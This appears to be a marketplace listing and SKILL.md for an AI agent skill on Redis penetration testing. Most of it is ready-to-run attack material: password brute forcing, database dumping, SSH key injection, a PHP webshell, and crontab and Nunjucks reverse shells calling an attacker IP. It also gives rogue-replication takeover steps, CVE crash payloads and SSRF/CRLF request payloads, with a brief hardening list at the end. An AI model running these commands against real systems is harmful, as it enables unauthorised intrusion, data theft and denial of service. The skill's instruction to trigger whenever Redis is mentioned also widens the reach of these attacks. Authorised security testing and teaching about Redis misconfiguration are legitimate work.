# Redis Pentesting

> Pentest Redis instances (port 6379) for enumeration, authentication bypass, data exfiltration, and RCE. Use this skill whenever the user mentions Redis, port 6379, key-value stores, in-memory databases, or needs to test Redis security. This includes checking for authentication, dumping databases, exploiting misconfigurations, and testing for known CVEs like CVE-2025-49844, CVE-2025-46817, CVE-2025-46818.

- Skill: `abelrguezr/redis-pentesting` (Agent Skill, multi-file: 7 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/redis-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/redis-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/redis-pentesting

---


# Redis Pentesting Skill

A comprehensive skill for testing Redis instances for security vulnerabilities, from enumeration to remote code execution.

## When to Use This Skill

Use this skill when:
- You need to test a Redis instance (default port 6379)
- You're doing penetration testing on a target with Redis exposed
- You need to enumerate Redis databases and keys
- You want to check for authentication bypass or weak credentials
- You need to exploit Redis misconfigurations for RCE
- You're testing for Redis-specific CVEs
- You have SSRF access to a Redis instance

## Quick Start

```bash
# Basic connection test
redis-cli -h <target> -p 6379

# Or with netcat for raw protocol access
nc -vn <target> 6379
```

## Enumeration

### Automatic Enumeration

Use these tools for initial reconnaissance:

```bash
# Nmap redis-info script
nmap --script redis-info -sV -p 6379 <target>

# Metasploit scanner
msfconsole
use auxiliary/scanner/redis/redis_server
set RHOSTS <target>
run
```

### Manual Enumeration

Connect and run basic commands:

```bash
# Connect with redis-cli
redis-cli -h <target> -p 6379

# Get server information
INFO

# Check connected clients
CLIENT LIST

# Get configuration (may be restricted)
CONFIG GET *

# Monitor commands in real-time
MONITOR

# Get slow queries
SLOWLOG GET 25
```

### Check Authentication Status

```bash
# Try INFO without auth - if you get:
# -NOAUTH Authentication required.
# Then credentials are needed

# If you get server info, Redis is unauthenticated
```

## Authentication Testing

### Default Credentials

Redis often runs without authentication by default. If authentication is required:

```bash
# Try common passwords
AUTH default
AUTH default password
AUTH default password123
AUTH default admin
AUTH default redis

# Or with username:password format
AUTH <username> <password>
```

### Brute Force

If you suspect authentication is enabled, use brute force tools:

```bash
# Using redis-cli with wordlist
for pass in $(cat wordlist.txt); do
  redis-cli -h <target> -a "$pass" PING 2>/dev/null && echo "Password: $pass" && break
done
```

## Database Enumeration

### Find Active Databases

```bash
# Check which databases have data
INFO keyspace

# Select a database (0-15 by default)
SELECT 0
SELECT 1
# etc.

# List all keys in current database
KEYS *

# Get key type
TYPE <key>

# Get key value (for strings)
GET <key>

# Get list items
LRANGE <key> 0 -1

# Get hash items
HGET <key> <field>
HGETALL <key>

# For complex types, use DUMP
DUMP <key>
```

### Dump Entire Database

```bash
# Using redis-dump (npm)
npm install -g redis-dump
redis-dump -h <target> -p 6379 -o dump.rdb

# Using redis-utils (python)
pip install redis-utils
redis-dump -h <target> -p 6379 -o dump.rdb
```

## Remote Code Execution Techniques

### Technique 1: SSH Key Injection

This is the most reliable RCE method when you can write to the Redis user's home directory.

```bash
# 1. Generate SSH key pair
ssh-keygen -t rsa -f redis_exploit -N ""

# 2. Format the public key with newlines
echo -e "\n\n" > spaced_key.txt
cat redis_exploit.pub >> spaced_key.txt
echo -e "\n\n" >> spaced_key.txt

# 3. Import into Redis
cat spaced_key.txt | redis-cli -h <target> -x set ssh_key

# 4. Write to authorized_keys
redis-cli -h <target>
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE

# 5. Connect via SSH
ssh -i redis_exploit redis@<target>
```

**Alternative user discovery:**

```bash
# Try common user home directories
redis-cli -h <target> CONFIG SET dir /home/<username>/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SAVE
```

### Technique 2: PHP Webshell

When you know the web root path:

```bash
redis-cli -h <target>
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system(\$_GET['cmd']); ?>"
SAVE

# Access via browser
# http://<target>/shell.php?cmd=id
```

### Technique 3: Crontab Injection

```bash
# Create reverse shell payload
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target> -x set cronjob

# Write to crontab
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs/
redis-cli -h <target> CONFIG SET dbfilename root
redis-cli -h <target> SAVE

# For CentOS:
# redis-cli -h <target> CONFIG SET dir /var/spool/cron/
```

### Technique 4: Template Injection

For applications using template engines (Jinja2, Nunjucks, etc.):

```bash
# Nunjucks reverse shell
redis-cli -h <target>
CONFIG SET dir /path/to/templates
CONFIG SET dbfilename template.html
SET payload '{{ ({}).constructor.constructor("var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(<port>, '<attacker_ip>', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")() }}'
SAVE
```

### Technique 5: Master-Slave Replication

Force the target to replicate from your controlled Redis server:

```bash
# On your machine, start a Redis server
redis-server --port 6379

# On target, force replication
redis-cli -h <target>
SLAVEOF <your_ip> 6379

# Now commands on your Redis sync to target
redis-cli -h localhost
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET <your_public_key>
SAVE
```

## CVE Exploitation

### CVE-2025-49844 - Lua Parser Use-After-Free

**Affected versions:** < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

```bash
# Test for vulnerability (may crash server)
redis-cli -h <target> -a <password> EVAL "\nlocal a = string.rep('asdf', 65536); \ncollectgarbage('collect'); \nlocal src = string.rep('x', 1024 * 1024); \nlocal f = loadstring(src); \nreturn 'done'" 0

# If server crashes, it's vulnerable
```

### CVE-2025-46817 - Integer Overflow in unpack

**Affected versions:** < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

```bash
# Test for vulnerability (DoS)
redis-cli -h <target> -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0

# Server should crash or OOM if vulnerable
```

### CVE-2025-46818 - Metatable Poisoning

**Affected versions:** < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

```bash
# Test for metatable poisoning
redis-cli -h <target> -a <password> EVAL "\ngetmetatable('').__index = function(_, key) \n  if key == 'testfunc' then \n    return function() return 'testfuncoutput' end \n  end \nend; \nreturn ('teststring').testfunc()" 0

# Returns 'testfuncoutput' if vulnerable
```

## SSRF to Redis

If you have SSRF access, you can send Redis commands directly:

```bash
# Basic SSRF payload
GET /?url=redis://127.0.0.1:6379/ HTTP/1.1
Host: target

# With CRLF injection for multi-command
GET /?url=redis://127.0.0.1:6379/%0D%0A%20multi%0D%0A%20set%20test%20value%0D%0A%20exec%0D%0A HTTP/1.1
Host: target
```

## Security Hardening Recommendations

After testing, recommend these fixes:

1. **Enable authentication:**
   ```
   requirepass strong_password_here
   ```

2. **Bind to localhost only:**
   ```
   bind 127.0.0.1
   ```

3. **Disable dangerous commands:**
   ```
   rename-command FLUSHDB ""
   rename-command FLUSHALL ""
   rename-command CONFIG ""
   rename-command DEBUG ""
   ```

4. **Use TLS/SSL:**
   ```
   tls-port 6379
   port 0
   tls-cert-file /path/to/cert.pem
   tls-key-file /path/to/key.pem
   ```

5. **Set memory limits:**
   ```
   maxmemory 256mb
   maxmemory-policy allkeys-lru
   ```

## Useful Commands Reference

| Command | Description |
|---------|-------------|
| `INFO` | Server information |
| `CLIENT LIST` | Connected clients |
| `CONFIG GET *` | Configuration |
| `KEYS *` | All keys (use cautiously) |
| `TYPE <key>` | Key data type |
| `GET <key>` | String value |
| `HGETALL <key>` | Hash fields |
| `LRANGE <key> 0 -1` | List items |
| `DUMP <key>` | Raw value dump |
| `MONITOR` | Real-time command log |
| `SLOWLOG GET 25` | Slow queries |
| `MODULE LIST` | Loaded modules |

## Tools

- `redis-cli` - Official Redis CLI
- `nmap` - Port scanning with redis-info script
- `redis-dump` - Database backup tool
- `redis-rogue-server` - Rogue server for RCE
- `redis-rce-ssh` - Automated SSH key injection

## Notes

- Redis uses a text-based protocol - you can communicate via netcat
- Default port is 6379, but can be changed
- Databases are numbered 0-15 by default
- Commands can be renamed or disabled in redis.conf
- Some template engines cache templates - may need to restart service
- Always check `CONFIG GET dir` early to know where Redis can write
- The `save` command writes the current database to disk
- Use `SELECT <db>` to switch databases before operations

